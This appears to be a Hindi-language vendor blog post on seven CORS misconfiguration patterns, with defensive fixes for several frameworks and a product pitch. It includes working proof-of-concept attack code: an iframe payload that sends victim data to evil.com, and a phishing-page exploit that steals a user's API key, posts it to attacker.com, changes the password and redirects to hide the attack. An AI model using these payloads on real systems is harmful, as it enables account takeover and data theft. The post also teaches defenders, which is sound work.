剣 KENSAI
अनुसंधान 3 अप्रैल 2026 · 16 मिनट पढ़ें

CORS मिसकॉन्फ़िगरेशन: 2026 की सबसे आम बग बाउंटी फ़ाइंडिंग

Cross-Origin Resource Sharing (CORS) मिसकॉन्फ़िगरेशन 2026 में सभी स्वीकृत वेब-एप्लिकेशन बग बाउंटी फ़ाइंडिंग्स का 23% हिस्सा हैं — XSS, IDOR, और SSRF को मिलाकर भी उससे ज़्यादा। 2016 से अच्छी तरह डॉक्यूमेंटेड होने के बावजूद, CORS वह भेद्यता-श्रेणी बनी हुई है जिसे डेवलपर सबसे ज़्यादा ग़लत करते हैं। यह डीप डाइव हर मिसकॉन्फ़िगरेशन पैटर्न को कवर करती है, काम करने वाले PoC कोड के साथ वास्तविक शोषण-परिदृश्य दिखाती है, और हर प्रमुख फ़्रेमवर्क और क्लाउड प्रोवाइडर के लिए प्रोडक्शन-तैयार फ़िक्स प्रदान करती है।


2026 में CORS अभी भी क्यों हावी है

CORS का विरोधाभास यह है कि यह वेब पर एक साथ सबसे ज़्यादा डॉक्यूमेंटेड और सबसे ज़्यादा मिसकॉन्फ़िगर की गई सुरक्षा-व्यवस्थाओं में से एक है। तीन कारक बताते हैं कि पहले बड़े खुलासों के एक दशक बाद भी यह चार्ट में शीर्ष पर क्यों बना हुआ है:

📊 आँकड़ों में (Q1 2026): HackerOne की तिमाही रिपोर्ट दिखाती है कि CORS मिसकॉन्फ़िगरेशन स्वीकृत वेब-ऐप फ़ाइंडिंग्स का 23.1% हिस्सा था, उसके बाद Broken Access Control (18.7%), XSS (14.2%), IDOR (11.8%), और SSRF (8.4%) थे। प्रदर्शित प्रभाव वाली CORS फ़ाइंडिंग के लिए औसत बाउंटी भुगतान $2,340 था — 2025 से 45% ज़्यादा, क्योंकि प्रोग्राम असल-दुनिया के शोषण-संभावना को तेज़ी से पहचान रहे हैं।

सात CORS मिसकॉन्फ़िगरेशन पैटर्न

सभी CORS मिसकॉन्फ़िगरेशन बराबर नहीं होते। ये सात पैटर्न हैं जिन्हें बग बाउंटी हंटर सबसे ज़्यादा पाते हैं, गंभीरता और शोषण-योग्यता के आधार पर क्रमबद्ध:

पैटर्न 1: Origin रिफ़्लेक्शन (क्रिटिकल)

सर्वर Origin रिक्वेस्ट हेडर को Access-Control-Allow-Origin रिस्पॉन्स हेडर में अंधाधुंध रिफ़्लेक्ट करता है। यह सबसे ख़तरनाक पैटर्न है क्योंकि यह किसी भी वेबसाइट को भेद्य API से ऑथेंटिकेटेड रिस्पॉन्स पढ़ने देता है।

# Request from attacker-controlled origin
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123

# Vulnerable response — reflects attacker origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"user@company.com","api_key":"sk-prod-..."}

⚠ यह क्रिटिकल क्यों है

जब Access-Control-Allow-Credentials: true को origin रिफ़्लेक्शन के साथ जोड़ा जाता है, तो हमलावर की वेबसाइट ऑथेंटिकेटेड क्रॉस-ऑरिजिन रिक्वेस्ट भेज सकती है और रिस्पॉन्स पढ़ सकती है — जिसमें सेशन टोकन, API की, PII, और पीड़ित के ब्राउज़र की पहुँच वाला कोई भी अन्य डेटा शामिल है। यह प्रभावी रूप से Same-Origin Policy को पूरी तरह बायपास कर देता है।

पैटर्न 2: Null Origin एलाउलिस्टिंग (हाई)

कुछ सर्वर स्पष्ट रूप से null origin को अनुमति देते हैं, या तो मिसकॉन्फ़िगरेशन से या ग़लतफ़हमी से। यह null origin ब्राउज़र द्वारा कई संदर्भों में भेजा जाता है: सैंडबॉक्स्ड iframe, data: URL, लोकल फ़ाइल एक्सेस, और क्रॉस-ऑरिजिन रीडायरेक्ट।

# Attacker serves this HTML page
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,
  <script>
    fetch('https://api.target.com/api/user/data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // Exfiltrate to attacker server
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

पैटर्न 3: Origin वैलिडेशन में रीजेक्स बायपास (हाई)

डेवलपर अक्सर origin वैलिडेशन को ऐसे रीजेक्स पैटर्न से लागू करते हैं जिनमें सूक्ष्म ख़ामियाँ होती हैं। सबसे आम ग़लतियाँ:

इच्छित अनुमति त्रुटिपूर्ण रीजेक्स बायपास Origin
*.target.com /target\.com$/ evil-target.com
app.target.com /^https?:\/\/.*target\.com/ target.com.evil.com
*.target.com /\.target\.com$/ evil.com/.target.com (पाथ कन्फ़्यूज़न)
सिर्फ़ target.com /target.com/ (अनएस्केप्ड डॉट) targetXcom.evil.com

पैटर्न 4: वाइल्डकार्ड विद क्रेडेंशियल्स (मीडियम-हाई)

जबकि ब्राउज़र यह लागू करते हैं कि Access-Control-Allow-Origin: * को Access-Control-Allow-Credentials: trueके साथ नहीं जोड़ा जा सकता, कई सर्वर-साइड फ़्रेमवर्क इस संयोजन का पता लगाकर और चुपचाप origin रिफ़्लेक्शन पर स्विच करके इसे दरकिनार कर देते हैं — जो पिछले दरवाज़े से पैटर्न 1 बना देता है।

यह cors npm पैकेज (73% Node.js API में उपयोग किया जाता है) बिल्कुल यही करता है जब इसे origin: true और credentials: trueके साथ कॉन्फ़िगर किया जाता है। जो डेवलपर सोचते हैं कि वे वाइल्डकार्ड सेट कर रहे हैं, वे असल में पूरा origin रिफ़्लेक्शन सक्षम कर रहे होते हैं।

पैटर्न 5: प्री-फ़्लाइट कैश पॉइज़निंग (मीडियम)

यह Access-Control-Max-Age हेडर ब्राउज़र को बताता है कि प्री-फ़्लाइट (OPTIONS) रिस्पॉन्स को कितनी देर कैश करना है। अगर कोई सर्वर एक रिक्वेस्ट पाथ के लिए अनुमतिशील CORS हेडर और दूसरे के लिए प्रतिबंधात्मक हेडर लौटाता है, तो हमलावर ब्राउज़र को अनुमतिशील प्री-फ़्लाइट कैश करने पर मजबूर कर सकता है और फिर उसे प्रतिबंधित एंडपॉइंट के लिए दोबारा इस्तेमाल कर सकता है।

पैटर्न 6: सबडोमेन ट्रस्ट एस्केलेशन (मीडियम)

कई एप्लिकेशन सभी सबडोमेन से CORS की अनुमति देते हैं: *.target.com। यह एक ट्रांज़िटिव ट्रस्ट-संबंध बनाता है जहाँ किसी भी सबडोमेन पर कोई भी XSS — जिसमें भुला दिए गए स्टेजिंग एनवायरनमेंट, लेगेसी एप्लिकेशन, या थर्ड-पार्टी होस्टेड सबडोमेन शामिल हैं — मुख्य एप्लिकेशन के API पर हमला करने के लिए इस्तेमाल किया जा सकता है।

🎯 बग बाउंटी टिप

जब आपको ऐसी CORS पॉलिसी मिले जो *.target.comपर भरोसा करती है, तो तुरंत सबडोमेन इनुमरेट करें और उनमें से किसी पर भी XSS खोजें — ख़ासकर मार्केटिंग साइट, स्टेटस पेज, डॉक्यूमेंटेशन पोर्टल, और कस्टमर-सपोर्ट टूल पर। blog.target.com पर एक रिफ़्लेक्टेड XSS, सबडोमेन CORS ट्रस्ट के साथ मिलकर आपको api.target.com डेटा तक पूरी पहुँच दे देता है। यह चेन नियमित रूप से High/Critical गंभीरता रेटिंग हासिल करती है।

पैटर्न 7: गायब Vary: Origin हेडर (लो-मीडियम)

जब कोई सर्वर Access-Control-Allow-Origin को रिक्वेस्ट origin के आधार पर डायनामिक रूप से सेट करता है, तो उसे Vary: Originभी शामिल करना चाहिए। इसके बिना, CDN कैश और ब्राउज़र कैश एक origin के CORS हेडर वाला रिस्पॉन्स किसी दूसरे origin की रिक्वेस्ट को परोस सकते हैं, जिससे रुक-रुक कर एक्सेस-कंट्रोल विफलताएँ पैदा होती हैं।

असल-दुनिया शोषण: चरण-दर-चरण हमला परिदृश्य

यहाँ एक पूरा शोषण-परिदृश्य है जो दिखाता है कि CORS मिसकॉन्फ़िगरेशन कैसे अकाउंट टेकओवर की ओर ले जाता है:

लक्ष्य

एक फ़िनटेक एप्लिकेशन app.fintech-target.com पर, जिसका API api.fintech-target.comपर है। यह API ईमेल, फ़ोन नंबर, और प्रोग्रामेटिक ट्रेडिंग के लिए इस्तेमाल होने वाली API की सहित यूज़र-प्रोफ़ाइल डेटा परोसता है।

भेद्यता

यह API क्रेडेंशियल्स सक्षम होने के साथ origin रिफ़्लेक्शन (पैटर्न 1) का उपयोग करता है। एंडपॉइंट /api/v2/account/settings यूज़र की API की लौटाता है और PUT रिक्वेस्ट के ज़रिए पासवर्ड बदलने की अनुमति देता है।

एक्सप्लॉइट

<!-- Hosted on attacker.com, linked via phishing email -->
<html>
<body>
<h1>Loading your portfolio analysis...</h1>
<script>
// Step 1: Steal API key and user data
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
  // Step 2: Exfiltrate to attacker server
  await fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      email: data.email,
      api_key: data.api_key,
      phone: data.phone
    })
  });

  // Step 3: Change the user's password
  await fetch('https://api.fintech-target.com/api/v2/account/settings', {
    method: 'PUT',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      password: 'attacker-controlled-password-2026!'
    })
  });

  // Step 4: Redirect to legitimate site to avoid suspicion
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>

पूरा हमला 500ms से कम में निष्पादित होता है। पीड़ित को एक संक्षिप्त लोडिंग स्क्रीन दिखती है, फिर उसका सामान्य डैशबोर्ड। इस बीच, हमलावर के पास उसकी API की आ चुकी है और उसका पासवर्ड बदल चुका है।

पहचान: बड़े पैमाने पर CORS मिसकॉन्फ़िगरेशन खोजना

स्वचालित स्कैनिंग

प्रभावी CORS स्कैनिंग के लिए हर उस एंडपॉइंट के ख़िलाफ़ कई origin क्रमचय टेस्ट करने होते हैं जो CORS हेडर लौटाता है। यहाँ टेस्टिंग मैट्रिक्स है:

टेस्ट केस Origin हेडर वैल्यू रिफ़्लेक्ट होने पर भेद्य
पूर्ण रिफ़्लेक्शन https://evil.com हाँ — कोई भी origin स्वीकृत
Null origin null हाँ — iframe सैंडबॉक्स बायपास
सबडोमेन दुरुपयोग https://evil.target.com हाँ — अगर सबडोमेन पैटर्न मेल खाता है
प्रीफ़िक्स बायपास https://target.com.evil.com हाँ — रीजेक्स ख़ामी
सफ़िक्स बायपास https://evil-target.com हाँ — रीजेक्स में गायब एंकर
प्रोटोकॉल डाउनग्रेड http://target.com हाँ — अगर HTTPS-only लागू नहीं है
विशेष अक्षर https://target.com%60.evil.com हाँ — पार्सर अंतर

काम के औज़ार

प्रोडक्शन-तैयार फ़िक्स

Node.js / Express

const cors = require('cors');

// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, etc.)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      return callback(null, true);
    }
    callback(new Error('CORS policy violation'));
  },
  credentials: true,
  maxAge: 600, // 10 minute preflight cache
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Python / Django

# settings.py

# ❌ WRONG
CORS_ALLOW_ALL_ORIGINS = True

# ✅ CORRECT
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
    "https://app.yoursite.com",
    "https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600

Nginx

# ❌ WRONG — reflects Origin header
add_header 'Access-Control-Allow-Origin' $http_origin always;

# ✅ CORRECT — map-based allowlist
map $http_origin $cors_origin {
    default "";
    "https://app.yoursite.com" $http_origin;
    "https://admin.yoursite.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin = "") {
            return 403;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Vary' 'Origin' always;

        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
            add_header 'Access-Control-Max-Age' 600;
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

AWS API Gateway / CloudFront

# AWS CDK / CloudFormation
CorsConfiguration:
  AllowOrigins:
    - "https://app.yoursite.com"
    - "https://admin.yoursite.com"
  AllowMethods:
    - GET
    - POST
    - PUT
    - DELETE
  AllowHeaders:
    - Content-Type
    - Authorization
  AllowCredentials: true
  MaxAge: 600

# ⚠ WARNING: Do NOT use AllowOrigins: ["*"] with AllowCredentials: true
# AWS will silently convert this to origin reflection

API-फ़र्स्ट आर्किटेक्चर युग में CORS

API-फ़र्स्ट आर्किटेक्चर की ओर बदलाव ने CORS परिदृश्य को मौलिक रूप से बदल दिया है। 2020 में, एक सामान्य वेब-एप्लिकेशन शायद 3-5 सर्विस को क्रॉस-ऑरिजिन रिक्वेस्ट भेजता था। 2026 में, माइक्रोसर्विस, सर्वरलेस फ़ंक्शन, और थर्ड-पार्टी API इंटीग्रेशन पर बने एप्लिकेशन नियमित रूप से दर्जनों originको क्रॉस-ऑरिजिन रिक्वेस्ट भेजते हैं।

यह जटिलता कई आर्किटेक्चरल प्रतिक्रियाओं को जन्म दे रही है:

CORS मिसकॉन्फ़िगरेशन रोकथाम चेकलिस्ट

डेवलपर और सुरक्षा टीमों के लिए — अपने एप्लिकेशन में हर आइटम सत्यापित करें:

मुख्य निष्कर्ष

अभी अपने API को CORS मिसकॉन्फ़िगरेशन के लिए स्कैन करें

KENSAI आपकी पूरी API सतह पर सभी सात CORS मिसकॉन्फ़िगरेशन पैटर्न को स्वचालित रूप से पहचानता है — जिसमें सबडोमेन ट्रस्ट-चेन, रीजेक्स बायपास, और CDN-लेयर ओवरराइड शामिल हैं। अपने पहले स्कैन नतीजे दिनों में नहीं, मिनटों में पाएँ।

मुफ़्त CORS ऑडिट शुरू करें →

KENSAI रिसर्च · 3 अप्रैल 2026

📚 संबंधित लेख